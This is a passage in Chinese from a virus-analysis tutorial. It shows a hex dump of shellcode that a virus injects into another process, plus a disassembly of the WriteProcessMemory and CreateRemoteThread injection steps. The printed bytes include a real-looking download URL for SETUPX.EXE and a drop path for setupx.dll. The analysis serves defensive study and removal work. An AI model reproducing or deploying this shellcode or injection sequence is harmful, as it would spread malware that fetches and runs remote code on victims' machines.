5)lpNumberOfBytesWritten:返回实际写入的字节数量。
病毒往目标进程空间写入的数据如下:
010107CE C8 00 00 00 E8 04 00 00 00 46 24 80 7C 58 68 40 ?..?...F$€|Xh@
010107DE 1F 00 00 FF 10 81 EC 30 11 00 00 E8 04 00 00 00 ..┼侅0 ▲..?...
010107EE 6F 17 80 7C 58 54 FF 10 66 8B 44 24 06 81 C4 30 o┤€|XT┼f婦$-伳0
010107FE 11 00 00 66 3D 1F 00 74 09 90 90 90 90 EB 59 90 ▲..f=.t.悙悙隮?
0101080E 90 90 E8 0E 00 00 00 43 3A 5C 73 65 74 75 70 78 悙?...C:\setupx
0101081E 2E 64 6C 6C 00 59 E8 23 00 00 00 68 74 74 70 3A .dll.Y?...http:
0101082E 2F 2F 76 67 75 61 72 64 65 72 2E 39 31 69 2E 6E //vguarder.91i.n
0101083E 65 74 2F 53 45 54 55 50 58 2E 45 58 45 00 58 E8 et/SETUPX.EXE.X?
0101084E 04 00 00 00 07 BD CB 75 5B 6A 00 6A 00 51 50 6A ┙...●剿u[j.j.QPj
0101085E 00 FF 13 E9 B9 00 00 00 E8 20 00 00 00 D7 CB CB .!!楣...?...姿?
0101086E CF 85 90 90 8E 86 8D 91 8E 89 87 91 CB 91 8E CB 蠀悙巻崙帀噾藨幩
0101087E CB 90 CC DA CB CA CF C7 91 DB DE CB 00 5A 8B DA 藧腾耸锨戂匏.Z嬟
0101088E B1 BF 64 67 FF 36 30 00 58 0F B6 40 02 0A C0 74 笨dg 60.X¤禓┐.纓
0101089E 03 80 C1 02 80 3A 00 74 09 90 90 90 90 30 0A 42 └€?€:.t.悙悙0.B
010108AE EB F2 81 EC 30 11 00 00 E8 04 00 00 00 6F 17 80 腧侅0 ▲..?...o┤€
010108BE 7C 58 54 FF 10 66 8B 44 24 04 66 3D 00 00 75 04 |XT┼f婦$┙f=..u┙
010108CE 66 B8 07 00 66 05 30 00 88 43 0F 88 43 12 33 D2 f?.f|0.圕¤圕↑↓3?
010108DE 66 8B 44 24 06 66 B9 0A 00 66 F7 F1 66 83 C2 30 f婦$f?.f黢f兟0
010108EE 88 53 13 81 C4 30 11 00 00 E8 0E 00 00 00 43 3A 圫!伳0 ▲..?...C:
010108FE 5C 73 65 74 75 70 78 2E 64 6C 6C 00 59 E8 04 00 \setupx.dll.Y?.
0101090E 00 00 07 BD CB 75 58 6A 00 6A 00 51 53 6A 00 FF ..●剿uXj.j.QSj.
0101091E 10 E8 04 00 00 00 0D 25 86 7C 58 E8 0E 00 00 00 ┼?....%唡X?...
0101092E 43 3A 5C 73 65 74 75 70 78 2E 64 6C 6C 00 59 6A C:\setupx.dll.Yj
0101093E 01 51 FF 10 E8 04 00 00 00 E9 09 83 7C 58 FF 75 ┌Q┼?...?億X u
0101094E 08 6A 00 68 FF 0F 1F 00 FF 10 0B C0 74 2C 8B D8 ■○j.h ¤.┼纓,嬝
0101095E E8 04 00 00 00 30 25 80 7C 58 6A FF 53 FF 10 E8 ?...0%€|Xj S┼?
0101096E 00 00 00 00 59 83 C1 1A 90 90 90 E8 04 00 00 00 ....Y兞→悙愯┘...
0101097E 0D 25 86 7C 58 6A 01 51 FF 10 C9 C2 04 00 .%唡Xj┌Q┼陕┘.
从以上所示数据的ASCII码提示可以看出,这段代码是从非法网站http://vguarder.91i.net/SETUPX.EXE中下载与病毒运行有关的动态链接库文件。
0100FBCF 58 POP EAX
0100FBD0 3D BE010000 CMP EAX,1BE
0100FBD5 90 NOP
0100FBD6 75 2C JNZ SHORT notepadr.0100FC04
0100FBD8 8BD4 MOV EDX,ESP
0100FBDA 8D8D BE010000 LEA ECX,DWORD PTR SS:[EBP+1BE]
0100FBE0 50 PUSH EAX
0100FBE1 54 PUSH ESP
0100FBE2 68 00040000 PUSH 400
0100FBE7 52 PUSH EDX
0100FBE8 51 PUSH ECX
0100FBE9 53 PUSH EBX
0100FBEA FF56 54 CALL DWORD PTR DS:[ESI+54] ;WriteProcessMemory
0100FBED FF56 4C CALL DWORD PTR DS:[ESI+4C] ; GetCurrentProcessId
以上代码获得当前进程的ID号。
0100FBF0 54 PUSH ESP
0100FBF1 6A 00 PUSH 0
0100FBF3 50 PUSH EAX
0100FBF4 55 PUSH EBP ; 00A40000,线程在其他进程的起始地址
0100FBF5 6A 00 PUSH 0
0100FBF7 6A 00 PUSH 0
0100FBF9 53 PUSH EBX
0100FBFA FF56 58 CALL DWORD PTR DS:[ESI+58] ; CreateRemoteThread
如以上代码所示,程序通过函数CreateRemoteThread将复制到其他进程的代码激活,也就是说,CreateRemoteThread可将线程创建在远程进程中。
0100FBFD 8986 FC000000 MOV DWORD PTR DS:[ESI+FC],EAX
0100FC03 58 POP EAX
0100FC04 53 PUSH EBX
0100FC05 FF56 60 CALL DWORD PTR DS:[ESI+60] ; CloseHandle
以上代码调用CloseHandle关闭打开的句柄。
0100FC08 68 F4010000 PUSH 1F4
0100FC0D FF56 44 CALL DWORD PTR DS:[ESI+44] ; Sleep
0100FC10 CC INT3
调用函数CloseHandle关闭使用OpenProcess打开的进程句柄。至此,病毒程序实现了在目标进程运行病毒代码的目的。用户要结束病毒代码,就需要通过复杂的技术,或者直接终止目标进程,通过这样的手段,为病毒代码的清理工作制造很大的麻烦,从而达到保护病毒代码不被轻易终止的目的。
以上介绍了几种常见的病毒保护自己的方式,以及避免被跟踪被调试的技术,下面来看病毒补丁程序的编写。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐


所有评论(0)